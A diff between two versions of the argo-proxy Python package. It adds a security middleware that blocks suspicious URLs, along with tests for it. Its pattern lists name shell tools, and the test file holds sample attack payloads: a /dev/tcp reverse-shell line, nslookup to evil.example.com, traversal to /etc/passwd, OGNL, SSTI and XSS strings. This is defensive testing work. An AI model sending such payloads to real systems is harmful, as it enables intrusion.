argo-proxy 3.2.0a0__tar.gz → 3.2.2__tar.gz

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (48) hide show
  1. {argo_proxy-3.2.0a0/src/argo_proxy.egg-info → argo_proxy-3.2.2}/PKG-INFO +2 -2
  2. {argo_proxy-3.2.0a0 → argo_proxy-3.2.2}/pyproject.toml +1 -1
  3. {argo_proxy-3.2.0a0 → argo_proxy-3.2.2/src/argo_proxy.egg-info}/PKG-INFO +2 -2
  4. {argo_proxy-3.2.0a0 → argo_proxy-3.2.2}/src/argo_proxy.egg-info/SOURCES.txt +1 -0
  5. {argo_proxy-3.2.0a0 → argo_proxy-3.2.2}/src/argo_proxy.egg-info/requires.txt +1 -1
  6. argo_proxy-3.2.2/src/argoproxy/__init__.py +1 -0
  7. {argo_proxy-3.2.0a0 → argo_proxy-3.2.2}/src/argoproxy/app.py +5 -2
  8. {argo_proxy-3.2.0a0 → argo_proxy-3.2.2}/src/argoproxy/config/model.py +4 -0
  9. {argo_proxy-3.2.0a0 → argo_proxy-3.2.2}/src/argoproxy/endpoints/dispatch.py +3 -0
  10. {argo_proxy-3.2.0a0 → argo_proxy-3.2.2}/src/argoproxy/endpoints/passthrough.py +4 -0
  11. {argo_proxy-3.2.0a0 → argo_proxy-3.2.2}/src/argoproxy/models.py +20 -5
  12. {argo_proxy-3.2.0a0 → argo_proxy-3.2.2}/src/argoproxy/performance.py +0 -4
  13. {argo_proxy-3.2.0a0 → argo_proxy-3.2.2}/src/argoproxy/utils/attack_logger.py +157 -2
  14. {argo_proxy-3.2.0a0 → argo_proxy-3.2.2}/src/argoproxy/utils/misc.py +10 -0
  15. argo_proxy-3.2.2/tests/test_security_middleware.py +161 -0
  16. argo_proxy-3.2.0a0/src/argoproxy/__init__.py +0 -1
  17. {argo_proxy-3.2.0a0 → argo_proxy-3.2.2}/LICENSE +0 -0
  18. {argo_proxy-3.2.0a0 → argo_proxy-3.2.2}/README.md +0 -0
  19. {argo_proxy-3.2.0a0 → argo_proxy-3.2.2}/setup.cfg +0 -0
  20. {argo_proxy-3.2.0a0 → argo_proxy-3.2.2}/src/argo_proxy.egg-info/dependency_links.txt +0 -0
  21. {argo_proxy-3.2.0a0 → argo_proxy-3.2.2}/src/argo_proxy.egg-info/entry_points.txt +0 -0
  22. {argo_proxy-3.2.0a0 → argo_proxy-3.2.2}/src/argo_proxy.egg-info/top_level.txt +0 -0
  23. {argo_proxy-3.2.0a0 → argo_proxy-3.2.2}/src/argoproxy/_vendor/__init__.py +0 -0
  24. {argo_proxy-3.2.0a0 → argo_proxy-3.2.2}/src/argoproxy/_vendor/semver.py +0 -0
  25. {argo_proxy-3.2.0a0 → argo_proxy-3.2.2}/src/argoproxy/_vendor/yaml.py +0 -0
  26. {argo_proxy-3.2.0a0 → argo_proxy-3.2.2}/src/argoproxy/cli/__init__.py +0 -0
  27. {argo_proxy-3.2.0a0 → argo_proxy-3.2.2}/src/argoproxy/cli/display.py +0 -0
  28. {argo_proxy-3.2.0a0 → argo_proxy-3.2.2}/src/argoproxy/cli/handlers.py +0 -0
  29. {argo_proxy-3.2.0a0 → argo_proxy-3.2.2}/src/argoproxy/cli/parser.py +0 -0
  30. {argo_proxy-3.2.0a0 → argo_proxy-3.2.2}/src/argoproxy/config/__init__.py +0 -0
  31. {argo_proxy-3.2.0a0 → argo_proxy-3.2.2}/src/argoproxy/config/interactive.py +0 -0
  32. {argo_proxy-3.2.0a0 → argo_proxy-3.2.2}/src/argoproxy/config/io.py +0 -0
  33. {argo_proxy-3.2.0a0 → argo_proxy-3.2.2}/src/argoproxy/config/validation.py +0 -0
  34. {argo_proxy-3.2.0a0 → argo_proxy-3.2.2}/src/argoproxy/endpoints/dev_proxy.py +0 -0
  35. {argo_proxy-3.2.0a0 → argo_proxy-3.2.2}/src/argoproxy/endpoints/extras.py +0 -0
  36. {argo_proxy-3.2.0a0 → argo_proxy-3.2.2}/src/argoproxy/py.typed +0 -0
  37. {argo_proxy-3.2.0a0 → argo_proxy-3.2.2}/src/argoproxy/utils/image_processing.py +0 -0
  38. {argo_proxy-3.2.0a0 → argo_proxy-3.2.2}/src/argoproxy/utils/logging.py +0 -0
  39. {argo_proxy-3.2.0a0 → argo_proxy-3.2.2}/src/argoproxy/utils/models.py +0 -0
  40. {argo_proxy-3.2.0a0 → argo_proxy-3.2.2}/src/argoproxy/utils/transports.py +0 -0
  41. {argo_proxy-3.2.0a0 → argo_proxy-3.2.2}/test/test_chat_completions.py +0 -0
  42. {argo_proxy-3.2.0a0 → argo_proxy-3.2.2}/test/test_embeddings.py +0 -0
  43. {argo_proxy-3.2.0a0 → argo_proxy-3.2.2}/test/test_function_calling_multiple.py +0 -0
  44. {argo_proxy-3.2.0a0 → argo_proxy-3.2.2}/test/test_function_calling_single.py +0 -0
  45. {argo_proxy-3.2.0a0 → argo_proxy-3.2.2}/test/test_leaked_tool_parser.py +0 -0
  46. {argo_proxy-3.2.0a0 → argo_proxy-3.2.2}/test/test_model_resolution.py +0 -0
  47. {argo_proxy-3.2.0a0 → argo_proxy-3.2.2}/tests/test_config_migrate.py +0 -0
  48. {argo_proxy-3.2.0a0 → argo_proxy-3.2.2}/tests/test_unix_socket.py +0 -0
@@ -1,6 +1,6 @@
1
1
  Metadata-Version: 2.4
2
2
  Name: argo-proxy
3
- Version: 3.2.0a0
3
+ Version: 3.2.2
4
4
  Summary: Proxy server to Argo API, OpenAI format compatible
5
5
  Author-email: Peng Ding <oaklight@gmx.com>
6
6
  License-Expression: MIT
@@ -15,7 +15,7 @@ Requires-Python: >=3.10
15
15
  Description-Content-Type: text/markdown
16
16
  License-File: LICENSE
17
17
  Requires-Dist: aiohttp>=3.12.2
18
- Requires-Dist: llm-rosetta>=0.7.0a0
18
+ Requires-Dist: llm-rosetta>=0.7.0
19
19
  Requires-Dist: pydantic>=2.11.7
20
20
  Requires-Dist: tiktoken>=0.9.0
21
21
  Requires-Dist: tqdm>=4.67.1
@@ -20,7 +20,7 @@ classifiers = [
20
20
 
21
21
  dependencies = [
22
22
  "aiohttp>=3.12.2",
23
- "llm-rosetta>=0.7.0a0",
23
+ "llm-rosetta>=0.7.0",
24
24
  "pydantic>=2.11.7",
25
25
  "tiktoken>=0.9.0",
26
26
  "tqdm>=4.67.1",
@@ -1,6 +1,6 @@
1
1
  Metadata-Version: 2.4
2
2
  Name: argo-proxy
3
- Version: 3.2.0a0
3
+ Version: 3.2.2
4
4
  Summary: Proxy server to Argo API, OpenAI format compatible
5
5
  Author-email: Peng Ding <oaklight@gmx.com>
6
6
  License-Expression: MIT
@@ -15,7 +15,7 @@ Requires-Python: >=3.10
15
15
  Description-Content-Type: text/markdown
16
16
  License-File: LICENSE
17
17
  Requires-Dist: aiohttp>=3.12.2
18
- Requires-Dist: llm-rosetta>=0.7.0a0
18
+ Requires-Dist: llm-rosetta>=0.7.0
19
19
  Requires-Dist: pydantic>=2.11.7
20
20
  Requires-Dist: tiktoken>=0.9.0
21
21
  Requires-Dist: tqdm>=4.67.1
@@ -41,4 +41,5 @@ test/test_function_calling_single.py
41
41
  test/test_leaked_tool_parser.py
42
42
  test/test_model_resolution.py
43
43
  tests/test_config_migrate.py
44
+ tests/test_security_middleware.py
44
45
  tests/test_unix_socket.py
@@ -1,5 +1,5 @@
1
1
  aiohttp>=3.12.2
2
- llm-rosetta>=0.7.0a0
2
+ llm-rosetta>=0.7.0
3
3
  pydantic>=2.11.7
4
4
  tiktoken>=0.9.0
5
5
  tqdm>=4.67.1
@@ -0,0 +1 @@
1
+ __version__ = "3.2.2"
@@ -19,6 +19,7 @@ from .performance import (
19
19
  OptimizedHTTPSession,
20
20
  get_performance_config,
21
21
  )
22
+ from .utils.attack_logger import security_middleware
22
23
  from .utils.logging import log_debug, log_error, log_info, log_warning
23
24
 
24
25
 
@@ -92,7 +93,6 @@ async def prepare_app(app):
92
93
  # Create optimized HTTP session
93
94
  resolve_overrides = getattr(app["config"], "resolve_overrides", None)
94
95
  http_session_manager = OptimizedHTTPSession(
95
- user_agent=f"argo-proxy/{__version__}",
96
96
  resolve_overrides=resolve_overrides if resolve_overrides else None,
97
97
  **perf_config,
98
98
  )
@@ -321,7 +321,10 @@ def create_app():
321
321
  # Set client_max_size to 100MB to handle large image payloads from remote clients
322
322
  # Users may send images larger than the gateway's 20MB limit; argo-proxy will
323
323
  # compress them before forwarding. Default aiohttp limit is 1MB which is too small.
324
- app = web.Application(client_max_size=100 * 1024 * 1024)
324
+ app = web.Application(
325
+ client_max_size=100 * 1024 * 1024,
326
+ middlewares=[security_middleware],
327
+ )
325
328
  app.on_startup.append(prepare_app)
326
329
  app.on_shutdown.append(cleanup_app)
327
330
 
@@ -76,6 +76,10 @@ class ArgoConfig:
76
76
  # Model list auto-refresh
77
77
  model_refresh_interval_hours: float = 24 # 0 to disable
78
78
 
79
+ # Fallback models — used when an unrecognized model name is requested
80
+ default_chat_model: str = "argo:gpt-5.4-nano"
81
+ default_embed_model: str = "argo:text-embedding-3-small"
82
+
79
83
  # Image processing settings
80
84
  enable_payload_control: bool = False # Enable automatic payload size control
81
85
  max_payload_size: int = 20 # MB default (total for all images)
@@ -27,6 +27,7 @@ from llm_rosetta.shims.providers import load_providers
27
27
  from ..config import ArgoConfig
28
28
  from ..models import ModelRegistry
29
29
  from ..utils.image_processing import process_anthropic_images, process_openai_images
30
+ from ..utils.misc import build_user_agent
30
31
  from ..utils.logging import (
31
32
  clear_request_user,
32
33
  log_converted_request,
@@ -288,6 +289,8 @@ def _build_upstream_headers(
288
289
  """Build HTTP headers for the upstream API request."""
289
290
  headers: dict[str, str] = {"Content-Type": "application/json"}
290
291
 
292
+ headers["User-Agent"] = build_user_agent(request.headers.get("User-Agent"))
293
+
291
294
  if should_use_username_passthrough():
292
295
  api_key = _extract_client_credential(request, target_provider) or fallback_user
293
296
  else:
@@ -13,6 +13,7 @@ from aiohttp import web
13
13
 
14
14
  from ..config import ArgoConfig
15
15
  from ..models import ModelRegistry
16
+ from ..utils.misc import build_user_agent
16
17
  from ..utils.logging import (
17
18
  log_converted_request,
18
19
  log_debug,
@@ -67,6 +68,9 @@ async def proxy_embeddings_request(
67
68
  upstream_url = f"{config.native_openai_base_url}/embeddings"
68
69
 
69
70
  headers = {"Content-Type": "application/json"}
71
+
72
+ headers["User-Agent"] = build_user_agent(request.headers.get("User-Agent"))
73
+
70
74
  if "Authorization" in request.headers:
71
75
  headers["Authorization"] = request.headers["Authorization"]
72
76
 
@@ -13,6 +13,7 @@ from tqdm.asyncio import tqdm_asyncio
13
13
 
14
14
  from .config import ArgoConfig, _get_yes_no_input_with_timeout
15
15
  from .utils.logging import log_debug, log_error, log_info, log_warning
16
+ from .utils.misc import build_user_agent
16
17
  from .utils.transports import validate_api_async
17
18
 
18
19
  DEFAULT_TIMEOUT = 30
@@ -51,6 +52,7 @@ _DEFAULT_CHAT_MODELS = flatten_mapping(
51
52
  "gpt51": "argo:gpt-5.1",
52
53
  "gpt52": "argo:gpt-5.2",
53
54
  "gpt54": "argo:gpt-5.4",
55
+ "gpt54nano": "argo:gpt-5.4-nano",
54
56
  "gpt55": "argo:gpt-5.5",
55
57
  # gemini
56
58
  "gemini25pro": "argo:gemini-2.5-pro",
@@ -308,7 +310,7 @@ async def get_upstream_model_list_async(
308
310
  async with aiohttp.ClientSession(
309
311
  connector=connector,
310
312
  timeout=client_timeout,
311
- headers={"User-Agent": "argo-proxy/1.0"},
313
+ headers={"User-Agent": build_user_agent()},
312
314
  ) as session:
313
315
  log_debug(f"Sending request to: {url}", context="models")
314
316
 
@@ -480,7 +482,7 @@ def _categorize_results(
480
482
  unavailable.clear()
481
483
  else:
482
484
  log_error(
483
- "Proceeding without unavailable models. Subsequent calls to these models will be replaced with argo:gpt-5-nano",
485
+ "Proceeding without unavailable models. Subsequent calls to these models will use the configured default fallback",
484
486
  context="models",
485
487
  )
486
488
 
@@ -781,14 +783,27 @@ class ModelRegistry:
781
783
  return model_name
782
784
 
783
785
  if model_type == "chat":
784
- default_model = "argo:gpt-5-nano"
786
+ default_model = self._config.default_chat_model
785
787
  elif model_type == "embed":
786
- default_model = "argo:text-embedding-3-small"
788
+ default_model = self._config.default_embed_model
789
+ else:
790
+ default_model = self._config.default_chat_model
791
+ log_warning(
792
+ f"Unknown model_type '{model_type}', using chat fallback",
793
+ context="ModelRegistry",
794
+ )
787
795
  log_warning(
788
796
  f"Model '{model_name}' not found in registry, falling back to {default_model}",
789
797
  context="ModelRegistry",
790
798
  )
791
- return self.available_models[default_model]
799
+ if default_model in self.available_models:
800
+ return self.available_models[default_model]
801
+ # Default model itself not in registry — return its name as-is
802
+ log_warning(
803
+ f"Default fallback model '{default_model}' not in registry either",
804
+ context="ModelRegistry",
805
+ )
806
+ return default_model
792
807
 
793
808
  def as_openai_list(self) -> dict[str, Any]:
794
809
  # Mock data for available models
@@ -93,7 +93,6 @@ class OptimizedHTTPSession:
93
93
  read_timeout: Socket read timeout in seconds.
94
94
  total_timeout: Total request timeout in seconds.
95
95
  dns_cache_ttl: DNS cache TTL in seconds.
96
- user_agent: User agent string.
97
96
  resolve_overrides: Optional dict mapping "host:port" to IP address
98
97
  for custom DNS resolution (similar to curl --resolve).
99
98
  """
@@ -108,7 +107,6 @@ class OptimizedHTTPSession:
108
107
  read_timeout: int = 30,
109
108
  total_timeout: int = 60,
110
109
  dns_cache_ttl: int = 300,
111
- user_agent: str = "argo-proxy",
112
110
  resolve_overrides: dict[str, str] | None = None,
113
111
  ):
114
112
  connector_kwargs: dict = {
@@ -137,7 +135,6 @@ class OptimizedHTTPSession:
137
135
  )
138
136
 
139
137
  self.session: aiohttp.ClientSession | None = None
140
- self.user_agent = user_agent
141
138
 
142
139
  async def create_session(self) -> aiohttp.ClientSession:
143
140
  """Create and return the HTTP session."""
@@ -145,7 +142,6 @@ class OptimizedHTTPSession:
145
142
  self.session = aiohttp.ClientSession(
146
143
  connector=self.connector,
147
144
  timeout=self.timeout,
148
- headers={"User-Agent": self.user_agent},
149
145
  )
150
146
  log_debug(
151
147
  f"HTTP session created: {self.connector.limit} total, "
@@ -4,6 +4,7 @@ This module provides functionality to:
4
4
  1. Log attack attempts with concise warning messages
5
5
  2. Save detailed attack information to files for analysis
6
6
  3. Organize logs by date in a dedicated directory
7
+ 4. Block malicious requests at the application level via middleware
7
8
  """
8
9
 
9
10
  import gzip
@@ -13,6 +14,9 @@ import traceback
13
14
  from datetime import datetime
14
15
  from pathlib import Path
15
16
  from typing import Any
17
+ from urllib.parse import unquote
18
+
19
+ from aiohttp import web
16
20
 
17
21
  from .logging import log_warning
18
22
 
@@ -31,7 +35,11 @@ class AttackLogger:
31
35
  enabled: Whether attack logging is enabled.
32
36
  """
33
37
 
34
- # Known attack patterns for classification
38
+ # Broadest pattern set — used to classify attack type from raw request data.
39
+ # Includes generic terms (nslookup, curl, wget) that would false-positive in
40
+ # URL matching but are fine for post-hoc classification of parser-rejected requests.
41
+ # See also: AttackFilter.ATTACK_PATTERNS (log filter) and _REQUEST_ATTACK_PATTERNS
42
+ # (middleware) — each has a narrower scope suited to its context.
35
43
  ATTACK_TYPES = {
36
44
  "struts2_ognl": [
37
45
  "xwork.MethodAccessor.denyMethodExecution",
@@ -66,6 +74,19 @@ class AttackLogger:
66
74
  "onerror=",
67
75
  "onload=",
68
76
  ],
77
+ "command_injection": [
78
+ "$(",
79
+ "/bin/bash",
80
+ "/bin/sh",
81
+ "/bin/zsh",
82
+ "cmd.exe",
83
+ "powershell",
84
+ "/dev/tcp/",
85
+ "/dev/udp/",
86
+ "nslookup ",
87
+ "curl ",
88
+ "wget ",
89
+ ],
69
90
  }
70
91
 
71
92
  def __init__(self, config_path: Path | None = None):
@@ -205,7 +226,10 @@ class AttackFilter(logging.Filter):
205
226
  "http_exceptions",
206
227
  ]
207
228
 
208
- # Attack payload patterns
229
+ # Subset of patterns matched against aiohttp parser exception text.
230
+ # Narrower than ATTACK_TYPES — only patterns that actually appear in parser
231
+ # error messages. See also: ATTACK_TYPES (classifier) and
232
+ # _REQUEST_ATTACK_PATTERNS (middleware).
209
233
  ATTACK_PATTERNS = [
210
234
  # Struts2 OGNL
211
235
  "xwork.MethodAccessor",
@@ -219,6 +243,12 @@ class AttackFilter(logging.Filter):
219
243
  "${{",
220
244
  "${#",
221
245
  "%24%7B",
246
+ # Command injection
247
+ "$(",
248
+ "/bin/bash",
249
+ "/bin/sh",
250
+ "/dev/tcp/",
251
+ "/dev/udp/",
222
252
  ]
223
253
 
224
254
  def __init__(self, attack_logger: AttackLogger):
@@ -306,6 +336,131 @@ class AttackFilter(logging.Filter):
306
336
  return "unknown"
307
337
 
308
338
 
339
+ # ---------------------------------------------------------------------------
340
+ # Request-level security middleware
341
+ # ---------------------------------------------------------------------------
342
+
343
+ # Strictest pattern set — checked against URL-decoded path + query string on
344
+ # every inbound request. Only high-confidence indicators that are unlikely to
345
+ # appear in legitimate LLM API URLs. All patterns must be lowercase (the URL
346
+ # is lowercased before matching). See also: ATTACK_TYPES (classifier) and
347
+ # AttackFilter.ATTACK_PATTERNS (log filter) for the broader lists.
348
+ _REQUEST_ATTACK_PATTERNS: dict[str, list[str]] = {
349
+ "command_injection": [
350
+ "$(", # bash subshell: $(cmd)
351
+ # Backtick command substitution — most aggressive single-char pattern.
352
+ # Extremely rare in legitimate LLM API URLs; check here first on false positives.
353
+ "`",
354
+ "/bin/bash",
355
+ "/bin/sh",
356
+ "/bin/zsh",
357
+ "cmd.exe",
358
+ "powershell",
359
+ "/dev/tcp/",
360
+ "/dev/udp/",
361
+ # nslookup/curl/wget are in ATTACK_TYPES for classification but intentionally
362
+ # excluded here — too generic for URL matching and would cause false positives.
363
+ ],
364
+ "struts2_ognl": [
365
+ "xwork.methodaccessor",
366
+ "_memberaccess",
367
+ "allowstaticmethodaccess",
368
+ "java.lang.runtime",
369
+ "org.apache.struts2",
370
+ ],
371
+ "directory_traversal": [
372
+ "././././",
373
+ "../../../", # requires 3+ levels to avoid false positives on relative paths
374
+ ],
375
+ "ssti_probe": [
376
+ "${{",
377
+ "${#",
378
+ ],
379
+ "xss_probe": [
380
+ "<script>",
381
+ "javascript:",
382
+ ],
383
+ }
384
+
385
+
386
+ def _decode_url(raw: str) -> str:
387
+ """URL-decode a string, applying up to 2 rounds to catch double-encoding.
388
+
389
+ Args:
390
+ raw: Raw URL string.
391
+
392
+ Returns:
393
+ Decoded string.
394
+ """
395
+ # Two passes to catch double-encoded payloads like %2524%2528 -> %24%28 -> $(
396
+ return unquote(unquote(raw))
397
+
398
+
399
+ def _detect_request_attack(url_decoded: str) -> str | None:
400
+ """Check a decoded URL string against request-level attack patterns.
401
+
402
+ Args:
403
+ url_decoded: URL-decoded path + query string.
404
+
405
+ Returns:
406
+ Attack type string if matched, None otherwise.
407
+ """
408
+ url_lower = url_decoded.lower()
409
+ # Patterns are lowercase literals — no need to call .lower() on them.
410
+ for attack_type, patterns in _REQUEST_ATTACK_PATTERNS.items():
411
+ for pattern in patterns:
412
+ if pattern in url_lower:
413
+ return attack_type
414
+ return None
415
+
416
+
417
+ @web.middleware
418
+ async def security_middleware(
419
+ request: web.Request,
420
+ handler,
421
+ ) -> web.StreamResponse:
422
+ """Application-level middleware that blocks requests with malicious payloads.
423
+
424
+ This complements the AttackFilter (which catches parser-level errors) by
425
+ inspecting syntactically valid HTTP requests before they reach handlers.
426
+ The URL path and query string are URL-decoded before pattern matching.
427
+
428
+ Args:
429
+ request: The incoming aiohttp request.
430
+ handler: The next handler in the middleware chain.
431
+
432
+ Returns:
433
+ A 403 response if an attack is detected, otherwise the handler response.
434
+ """
435
+ # Decode and inspect path + query string
436
+ raw_url = request.path_qs
437
+ decoded_url = _decode_url(raw_url)
438
+ attack_type = _detect_request_attack(decoded_url)
439
+
440
+ if attack_type is not None:
441
+ # Extract remote IP
442
+ peername = (
443
+ request.transport.get_extra_info("peername") if request.transport else None
444
+ )
445
+ remote_ip = peername[0] if peername else request.remote or "unknown"
446
+
447
+ # Log via AttackLogger
448
+ attack_logger = get_attack_logger()
449
+ attack_logger.log_attack(
450
+ remote_ip=remote_ip,
451
+ raw_request=f"{request.method} {raw_url}",
452
+ error_type="blocked_by_middleware",
453
+ error_message=f"Request blocked: {attack_type} pattern in URL",
454
+ )
455
+
456
+ return web.json_response(
457
+ {"error": "Forbidden"},
458
+ status=403,
459
+ )
460
+
461
+ return await handler(request)
462
+
463
+
309
464
  # Global attack logger instance
310
465
  _attack_logger: AttackLogger | None = None
311
466
 
@@ -224,3 +224,13 @@ def check_response_for_argo_warning(
224
224
  """
225
225
  text = extract_text_from_response(response_data, provider)
226
226
  return contains_argo_auth_warning(text)
227
+
228
+
229
+ def build_user_agent(client_ua: str | None = None) -> str:
230
+ """Build a User-Agent string identifying argo-proxy, optionally appended to a client UA."""
231
+ from .. import __version__
232
+
233
+ proxy_ua = f"argo-proxy/{__version__}"
234
+ if client_ua:
235
+ return f"{client_ua} {proxy_ua}"
236
+ return proxy_ua
@@ -0,0 +1,161 @@
1
+ """Tests for the request-level security middleware.
2
+
3
+ Verifies that malicious payloads in URLs are blocked before reaching handlers,
4
+ while legitimate requests pass through.
5
+ """
6
+
7
+ from aiohttp import web
8
+ from aiohttp.test_utils import AioHTTPTestCase
9
+
10
+ from argoproxy.utils.attack_logger import security_middleware
11
+
12
+
13
+ async def _ok_handler(request: web.Request) -> web.Response:
14
+ """Simple handler that returns 200 OK."""
15
+ return web.json_response({"status": "ok"})
16
+
17
+
18
+ def _create_test_app() -> web.Application:
19
+ """Create a minimal app with security middleware and a catch-all route."""
20
+ app = web.Application(middlewares=[security_middleware])
21
+ app.router.add_route("*", "/{path:.*}", _ok_handler)
22
+ return app
23
+
24
+
25
+ # ---------------------------------------------------------------------------
26
+ # Legitimate requests — should pass through (200)
27
+ # ---------------------------------------------------------------------------
28
+
29
+
30
+ class TestLegitimateRequests(AioHTTPTestCase):
31
+ """Ensure normal API traffic is not blocked."""
32
+
33
+ async def get_application(self):
34
+ return _create_test_app()
35
+
36
+ async def test_normal_api_path(self):
37
+ resp = await self.client.get("/api/v1/models")
38
+ assert resp.status == 200
39
+
40
+ async def test_normal_query_params(self):
41
+ resp = await self.client.get("/api/chat?model=gpt-4&stream=true")
42
+ assert resp.status == 200
43
+
44
+ async def test_json_post(self):
45
+ resp = await self.client.post(
46
+ "/v1/chat/completions",
47
+ json={"model": "gpt-4", "messages": [{"role": "user", "content": "hello"}]},
48
+ )
49
+ assert resp.status == 200
50
+
51
+ async def test_health_check(self):
52
+ resp = await self.client.get("/health")
53
+ assert resp.status == 200
54
+
55
+ async def test_well_known(self):
56
+ resp = await self.client.get("/.well-known/jwks.json")
57
+ assert resp.status == 200
58
+
59
+
60
+ # ---------------------------------------------------------------------------
61
+ # Command injection — should be blocked (403)
62
+ # ---------------------------------------------------------------------------
63
+
64
+
65
+ class TestCommandInjection(AioHTTPTestCase):
66
+ """Verify command injection payloads are blocked."""
67
+
68
+ async def get_application(self):
69
+ return _create_test_app()
70
+
71
+ async def test_subshell_in_query(self):
72
+ """The exact payload from the Nessus scan."""
73
+ resp = await self.client.get(
74
+ '/api/getServices?name[]=$(/bin/bash -c "nslookup evil.example.com")'
75
+ )
76
+ assert resp.status == 403
77
+
78
+ async def test_bash_devtcp_in_query(self):
79
+ """Reverse shell via /dev/tcp."""
80
+ resp = await self.client.get(
81
+ '/api/getServices?name[]=$(bash -c "echo pwned >/dev/tcp/1.2.3.4/4444")'
82
+ )
83
+ assert resp.status == 403
84
+
85
+ async def test_backtick_injection(self):
86
+ resp = await self.client.get("/api/search?q=`id`")
87
+ assert resp.status == 403
88
+
89
+ async def test_url_encoded_subshell(self):
90
+ """URL-encoded $( should be decoded and caught."""
91
+ resp = await self.client.get("/api/search?q=%24%28id%29")
92
+ assert resp.status == 403
93
+
94
+ async def test_double_encoded_subshell(self):
95
+ """Double URL-encoded $( should still be caught."""
96
+ resp = await self.client.get("/api/search?q=%2524%2528id%2529")
97
+ assert resp.status == 403
98
+
99
+ async def test_bin_sh_in_query(self):
100
+ resp = await self.client.get("/api/run?cmd=/bin/sh+-c+id")
101
+ assert resp.status == 403
102
+
103
+ async def test_powershell_in_query(self):
104
+ resp = await self.client.get("/api/run?cmd=powershell+-enc+base64payload")
105
+ assert resp.status == 403
106
+
107
+ async def test_cmd_exe_in_query(self):
108
+ resp = await self.client.get("/api/run?cmd=cmd.exe+/c+dir")
109
+ assert resp.status == 403
110
+
111
+
112
+ # ---------------------------------------------------------------------------
113
+ # Other attack types — should be blocked (403)
114
+ # ---------------------------------------------------------------------------
115
+
116
+
117
+ class TestOtherAttackTypes(AioHTTPTestCase):
118
+ """Verify other attack patterns are blocked at request level."""
119
+
120
+ async def get_application(self):
121
+ return _create_test_app()
122
+
123
+ async def test_directory_traversal_in_query(self):
124
+ resp = await self.client.get("/api/file?path=../../../etc/passwd")
125
+ assert resp.status == 403
126
+
127
+ async def test_struts2_ognl(self):
128
+ resp = await self.client.get(
129
+ "/api?class.module.classLoader.URLs%5B0%5D=java.lang.Runtime"
130
+ )
131
+ assert resp.status == 403
132
+
133
+ async def test_ssti_probe(self):
134
+ resp = await self.client.get("/api/search?q=${{7*7}}")
135
+ assert resp.status == 403
136
+
137
+ async def test_xss_script_tag(self):
138
+ resp = await self.client.get("/api/search?q=<script>alert(1)</script>")
139
+ assert resp.status == 403
140
+
141
+ async def test_xss_javascript_proto(self):
142
+ resp = await self.client.get("/api/redirect?url=javascript:alert(1)")
143
+ assert resp.status == 403
144
+
145
+
146
+ # ---------------------------------------------------------------------------
147
+ # Response format
148
+ # ---------------------------------------------------------------------------
149
+
150
+
151
+ class TestResponseFormat(AioHTTPTestCase):
152
+ """Verify the blocked response format."""
153
+
154
+ async def get_application(self):
155
+ return _create_test_app()
156
+
157
+ async def test_blocked_response_body(self):
158
+ resp = await self.client.get('/api/getServices?name[]=$(/bin/bash -c "whoami")')
159
+ assert resp.status == 403
160
+ body = await resp.json()
161
+ assert body == {"error": "Forbidden"}
@@ -1 +0,0 @@
1
- __version__ = "3.2.0a0"
File without changes
File without changes
File without changes